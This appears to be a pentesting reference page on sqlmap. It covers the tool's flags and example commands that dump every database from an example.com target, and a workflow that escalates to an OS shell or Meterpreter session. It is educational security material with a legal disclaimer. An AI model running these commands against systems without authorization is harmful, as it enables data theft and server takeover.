sqlmap

sqlmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It supports a wide range of database management systems (MySQL, PostgreSQL, Oracle, MSSQL, SQLite, and others) and can enumerate databases, extract data, and even take over the underlying operating system. The project is hosted at sqlmap.org and maintained on GitHub.

sqlmap is banned in OSCP exams because its automation makes exploitation trivial — understanding the underlying SQL injection mechanics is considered essential.

Core flags

Flag	Purpose
-u URL / --url=URL	Target URL (must include query parameters, or use --data for POST)
-p PARAM	Specific parameter(s) to test
--dbms=TYPE	Force backend DBMS (MySQL, PostgreSQL, etc.) — skips fingerprinting
--dbs	Enumerate databases
-D DB	Target a specific database
-T TABLE	Target a specific table
-C COLUMN	Target a specific column
--dump	Dump table entries
--dump-all	Dump all databases
--os-shell	Attempt interactive OS shell (via xp_cmdshell, UDF, etc.)
--os-pwn	Attempt out-of-band Meterpreter or VNC session
--forms	Parse target URL for forms and test automatically
--batch	Never prompt — use defaults (fully unattended)
--risk LEVEL	Max risk of tests (1–3, default 1; higher = more aggressive payloads)
--level LEVEL	Depth of tests (1–5, default 1; higher = more parameters/payloads)
--technique=TECH	Injection techniques: Boolean, Error, Union, Stacked, Time, Query

Examples

GET parameter injection

sqlmap -u "http://example.com/test.php?input=foo" --dump-all

POST parameter injection

sqlmap -u "http://example.com/test.php" \
       --data "input=foo" --dump-all

Seeding from Burp Suite

Export a request from Burp Suite (right-click → Save item) and replay it through sqlmap:

sqlmap -r request.txt --batch --dump-all

This preserves cookies, headers, and authentication tokens — essential for testing authenticated endpoints.

Attack workflow

1. Fingerprint — sqlmap identifies the DBMS and injection type
2. Enumerate — --dbs → -D dbname --tables → -T tablename --columns
3. Extract — --dump or --dump-all
4. Escalate (optional) — --os-shell for command execution, --os-pwn for Meterpreter

Legal note

sqlmap displays a disclaimer on every run: “Usage of sqlmap for attacking targets without prior mutual consent is illegal.” Only use against systems you own or have explicit written authorization to test.

Sources

• sqlmap — automatic SQL injection and database takeover tool
• sqlmapproject/sqlmap
• sqlmap | Kali Linux Tools

Related: sql-injection-attacks, powershell-reverse-shell, windows-reconnaissance-commands